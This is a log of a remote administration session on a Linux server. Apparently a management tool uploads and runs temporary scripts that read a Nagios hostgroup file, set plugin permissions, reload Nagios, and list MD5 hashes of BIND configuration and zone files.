MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-29 21:34:09: Establishing a connection
2025-12-29 21:34:09: Establishing a connection
2025-12-29 21:34:10: 

PUT: /tmp/pkp747357

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-29 21:34:10: 

chmod 755 /tmp/pkp747357; /tmp/pkp747357; rm /tmp/pkp747357

2025-12-29 21:34:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-12-29 21:34:10: 

systemctl reload nagios

2025-12-29 21:34:10: 




2025-12-29 21:34:10: 

PUT: /tmp/pkp742297

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-29 21:34:10: 

chmod 755 /tmp/pkp742297; /tmp/pkp742297; rm /tmp/pkp742297

2025-12-29 21:34:10: 


ok


2025-12-29 21:34:10: 

PUT: /tmp/pkp719895

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-12-29 21:34:10: 

chmod 755 /tmp/pkp719895; /tmp/pkp719895; rm /tmp/pkp719895

2025-12-29 21:34:10: 


ok


2025-12-29 21:34:10: 

PUT: /tmp/pkp521356

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-12-29 21:34:10: 

chmod 755 /tmp/pkp521356; /tmp/pkp521356; rm /tmp/pkp521356

2025-12-29 21:34:10: 


ok


2025-12-29 21:34:10: 

PUT: /tmp/pkp121877

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-29 21:34:10: 

chmod 755 /tmp/pkp121877; /tmp/pkp121877; rm /tmp/pkp121877

2025-12-29 21:34:10: 


ok


2025-12-29 21:34:10: 

PUT: /tmp/pkp510951

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-12-29 21:34:10: 

chmod 755 /tmp/pkp510951; /tmp/pkp510951; rm /tmp/pkp510951

2025-12-29 21:34:10: 


ok


2025-12-29 21:34:10: 

PUT: /tmp/pkp421349

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-12-29 21:34:10: 

chmod 755 /tmp/pkp421349; /tmp/pkp421349; rm /tmp/pkp421349

2025-12-29 21:34:10: 


ok


2025-12-29 21:34:10: 

PUT: /tmp/pkp119662

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-12-29 21:34:10: 

chmod 755 /tmp/pkp119662; /tmp/pkp119662; rm /tmp/pkp119662

2025-12-29 21:34:10: 


ok


2025-12-29 21:41:26: Establishing a connection
2025-12-29 21:41:26: Establishing a connection
2025-12-29 21:41:27: 

PUT: /tmp/pkp871924

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-29 21:41:27: 

chmod 755 /tmp/pkp871924; /tmp/pkp871924; rm /tmp/pkp871924

2025-12-29 21:41:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-12-29 21:41:27: 

systemctl reload nagios

2025-12-29 21:41:27: 




2025-12-29 21:41:27: 

PUT: /tmp/pkp190260

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-29 21:41:27: 

chmod 755 /tmp/pkp190260; /tmp/pkp190260; rm /tmp/pkp190260

2025-12-29 21:41:27: 


ok


2025-12-29 21:41:27: 

PUT: /tmp/pkp418044

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-12-29 21:41:27: 

chmod 755 /tmp/pkp418044; /tmp/pkp418044; rm /tmp/pkp418044

2025-12-29 21:41:27: 


ok


2025-12-29 21:41:27: 

PUT: /tmp/pkp103165

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-12-29 21:41:27: 

chmod 755 /tmp/pkp103165; /tmp/pkp103165; rm /tmp/pkp103165

2025-12-29 21:41:27: 


ok


2025-12-29 21:41:27: 

PUT: /tmp/pkp349072

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-29 21:41:27: 

chmod 755 /tmp/pkp349072; /tmp/pkp349072; rm /tmp/pkp349072

2025-12-29 21:41:27: 


ok


2025-12-29 21:41:27: 

PUT: /tmp/pkp652320

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-12-29 21:41:27: 

chmod 755 /tmp/pkp652320; /tmp/pkp652320; rm /tmp/pkp652320

2025-12-29 21:41:27: 


ok


2025-12-29 21:41:27: 

PUT: /tmp/pkp894003

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-12-29 21:41:27: 

chmod 755 /tmp/pkp894003; /tmp/pkp894003; rm /tmp/pkp894003

2025-12-29 21:41:27: 


ok


2025-12-29 21:41:27: 

PUT: /tmp/pkp504778

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-12-29 21:41:27: 

chmod 755 /tmp/pkp504778; /tmp/pkp504778; rm /tmp/pkp504778

2025-12-29 21:41:27: 


ok


2025-12-29 21:51:43: Establishing a connection
2025-12-29 21:51:50: Establishing a connection
2025-12-29 21:51:50: 

PUT: /tmp/pkp509076

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-29 21:51:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp509076; rm /tmp/pkp509076'

2025-12-29 21:51:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
